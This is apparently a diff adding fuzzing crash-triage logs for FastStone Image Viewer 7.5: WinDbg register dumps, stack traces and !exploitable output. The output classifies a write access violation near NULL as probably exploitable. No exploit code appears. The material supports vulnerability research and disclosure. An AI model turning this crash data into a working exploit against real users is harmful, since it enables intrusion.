+image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.3829 -8.28067e-039 -7.57965e+025 5.85741e-036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003f8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003f8000 18cdb8fb 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003f8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..01c8f76 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fee77bd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..67f51a8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x794: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x794: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(794.15dc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e77b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244830000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.89756e-020 -9.54564e-014 -1.84556e+031 -8.69216e-014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a6000 1ae09605 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..67f51a8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/18125/WindowsDebugEngine_description.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x794: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x794: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(794.15dc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e77b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244830000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.89756e-020 -9.54564e-014 -1.84556e+031 -8.69216e-014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a6000 1ae09605 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 